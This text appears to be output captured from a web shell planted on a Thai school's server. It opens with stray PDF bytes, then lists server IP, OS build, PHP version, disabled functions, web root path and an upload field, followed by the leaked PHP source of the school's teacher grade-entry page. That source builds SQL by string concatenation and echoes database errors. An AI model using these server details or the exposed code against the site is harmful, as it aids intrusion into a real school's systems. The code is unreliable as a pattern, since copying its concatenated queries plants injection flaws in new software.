%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /BK/wwwroot/mis/teacher/subject_score/ |
Upload File : |
<?PHP header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past header ("Last-Modified: " . date("D, d M Y H:i:s") . " GMT"); header ("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1 header ("Pragma: no-cache"); include("conf.php"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>ระบบบันทึกคะแนนออนไลน์ โรงเรียนโกวิทธำรงเชียงใหม่</title> <!-- Bootstrap Core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Theme CSS --> <link href="css/freelancer.min.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Prompt" rel="stylesheet"> <style> body { font-family: 'Prompt', serif; font-size: 18; } </style> <script> function showHint(str) { //alert(str); if (str.length == 0) { document.getElementById("txtHint").innerHTML = ""; return; } else { var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("txtHint").innerHTML = this.responseText; } }; xmlhttp.open("GET", "select_score_type.php?ValueSend=" + str, true); xmlhttp.send(); } } var strScoreType = ""; function setScoreType(ScoreType) { strScoreType = ScoreType; methodNext(); } function methodNext(){ //alert(strScoreType); if(strScoreType.length>0) this.document.location.href = "list_student.php?ScoreType="+strScoreType; else alert("กรุณาเลือกประเภทคะแนนที่ต้องการบันทึก"); } function Activity(SubID,SubName){ //alert(SubID+" - " +SubName); this.document.location.href = "list_student_activity.php?SubID="+SubID+"&&SubName="+SubName; } function xxx(test) { //alert("OK"); document.getElementById("txtDetail").innerHTML = test; } </script> </head> <body id="page-top" class="index"> <div id="skipnav"><a href="#maincontent">Skip to main content</a></div> <?PHP include "menu.php"; ?> <!-- Header --> <header style="background-color:#5DADE2"> <div class="container" id="maincontent" tabindex="-1"> <div class="row"> <div class="col-lg-12"> <img class="img-responsive" src="img/logo.png" width="150" alt=""> <div class="intro-text"> <h1 class="name">บันทึกคะแนนออนไลน์</h1> <hr class="star-light"> <span class="skills">โรงเรียนโกวิทธํารงเชียงใหม่</span> </div> </div> </div> </div> </header> <!-- Portfolio Grid Section --> <section id="txtHint" align="center"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2>เลือกรายวิชา</h2> <hr class="star-primary"> </div> </div> <div class="row"> <?PHP $sql = "select * from LT_SetYearTerm where getdate()>= DateStart and GETDATE()<=DateEnd"; //echo $sql; exit(); $stmt = sqlsrv_query( $conn, $sql ); if( $stmt === false) { die( print_r( sqlsrv_errors(), true) ); } $AYear = ""; $Term = ""; while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) { $AYear = $row['eduYear']; $Term = $row['eduTerm']; } if($AYear=="") { echo "ระบบไม่สามารถตรวจสอบภาคเรียนปัจจุบันได้ กรุณาแจ้งฝ่ายวิชาการให้กำหนดภาคเรียนปัจจุบัน"; } $_SESSION["AYear"] = Rtrim($AYear); $_SESSION["Term"] = rtrim($Term); // ============================ รายวิชาปกติ ============================ $sql = "SELECT dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName, dbo.TScore.PClass, dbo.TScore.PRoom FROM dbo.TScore INNER JOIN dbo.TSubject ON dbo.TScore.PSubjectCode = dbo.TSubject.PSubjectCode WHERE (dbo.TScore.RegYear = '".$AYear."') AND (dbo.TScore.RegTerm = '".$Term."' or dbo.TScore.RegTerm = '_') AND (dbo.TScore.IDTeacher = '".$IDTeacher."') AND (IDYearData not like ('NET%')) GROUP BY dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName, dbo.TScore.PClass, dbo.TScore.PRoom order by dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName, dbo.TScore.PClass, dbo.TScore.PRoom"; //echo $sql; exit(); $stmt = sqlsrv_query( $conn, $sql ); if( $stmt === false) { die( print_r( sqlsrv_errors(), true) ); } //echo $_SESSION["AYear"]; while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) { echo "<div class=col-sm-3 col-10'>"; echo "<div class='row'>"; echo "<button type=\"button\" class='btn btn-warning btn-block' onClick=\"showHint('".iconv('tis-620','utf-8',$row['PSubjectCode'])."@".rtrim(iconv('tis-620','utf-8',$row['PClass']))."@".iconv('tis-620','utf-8',$row['PRoom'])."')\">".iconv('tis-620','utf-8',$row['PSubjectCode'])." - ชั้น ".iconv('tis-620','utf-8',rtrim($row['PClass']))."/".iconv('tis-620','utf-8',$row['PRoom'])."<br>".iconv('tis-620','utf-8',$row['PSubjectName'])."</button>"; echo "</div></div>"; } // ============================ สาระเพิ่มเติม / การงานอาชีพ ============================ /* $sql = "SELECT dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName FROM dbo.TScore INNER JOIN dbo.TSubject ON dbo.TScore.PSubjectCode = dbo.TSubject.PSubjectCode WHERE (dbo.TScore.RegYear = '".$AYear."') AND (dbo.TScore.RegTerm = '".$Term."') AND (dbo.TScore.IDTeacher = '".$IDTeacher."') AND (IDYearData like ('NET%')) GROUP BY dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName"; $stmt = sqlsrv_query( $conn, $sql ); if( $stmt === false) { die( print_r( sqlsrv_errors(), true) ); } //echo $_SESSION["AYear"]; while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) { echo "<div class='row'>"; echo "<div class='col-md-1'></div>"; echo "<div class='col-md-10'><button type=\"button\" class='btn btn-default btn-block' onClick=\"showHint('".iconv('tis-620','utf-8',$row['PSubjectCode'])."')\">".iconv('tis-620','utf-8',$row['PSubjectCode'])."<br>".iconv('tis-620','utf-8',$row['PSubjectName'])."</button></div>"; echo "<div class='col-md-1'></div>"; echo "</div><br>"; } // ============================ รายวิชากิจกรรม ============================ $sql = "SELECT SubName, IDTeacher, ActivityCode FROM TBStudentActivity Where (IDTeacher = '".$_SESSION["IDTeacher"]."') and AYear='".$AYear."' and Term='".$Term."' GROUP BY SubName, IDTeacher, ActivityCode "; //echo $sql; $stmt = sqlsrv_query( $conn, $sql ); if( $stmt === false) { die( print_r( sqlsrv_errors(), true) ); } //echo $_SESSION["AYear"]; while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) { echo "<div class='row'>"; echo "<div class='col-md-1'></div>"; echo "<div class='col-md-10'><button type=\"button\" class='btn btn-default btn-block' onclick=\"Activity('".iconv('tis-620','utf-8',$row['ActivityCode'])."','".iconv('tis-620','utf-8',$row['SubName'])."')\">กิจกรรม<br>".iconv('tis-620','utf-8',$row['SubName'])."</button></div>"; echo "<div class='col-md-1'></div>"; echo "</div><br>"; } sqlsrv_free_stmt( $stmt); */ ?> <!-- <button type="button" class="btn btn-info btn-lg" data-toggle="modal" data-target="#myModal" onClick="xxx('test')">Open Modal</button> --> </div> </div> </section> <!-- About Section --> <section class="success" id="about" style="background-color:#5DADE2"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2>About</h2> <hr class="star-light"> </div> </div> <div class="row"> <div class="col-lg-4 col-lg-offset-2"> <p>การบันทึกคะแนนในแต่ละรายวิชา จะบันทึกคะแนน 4 ครั้ง ได้แก่ <br><br>1.คะแนนเก็บครั้งที่ 1 <br>2.คะแนนสอบกลางภาค<br>3.คะแนนเก็บครั้งที่ 2<br>4.คะแนนเก็บปลายภาค</p> </div> </div> </div> </section> <!-- Contact Section --> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2></h2> <hr class="star-primary"> </div> </div> </div> </section> <!-- Footer --> <?PHP include "footer.php"; ?> <!-- Scroll to Top Button (Only visible on small and extra-small screen sizes) --> <div class="scroll-top page-scroll hidden-sm hidden-xs hidden-lg hidden-md"> <a class="btn btn-primary" href="#page-top"> <i class="fa fa-chevron-up"></i> </a> </div> <!-- jQuery --> <!-- Bootstrap Core JavaScript --> <script src="vendor/bootstrap/js/bootstrap.min.js"></script> <!-- Plugin JavaScript --> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.3/jquery.easing.min.js"></script> <!-- Contact Form JavaScript --> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <!-- Theme JavaScript --> <script src="js/freelancer.min.js"></script> <!-- Modal --> <div id="myModal" class="modal fade" role="dialog"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <h4 class="modal-title">Modal Header</h4> </div> <div class="modal-body"> <p id="txtDetail">----</p> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> </div> </div> </div> </div> </body> </html>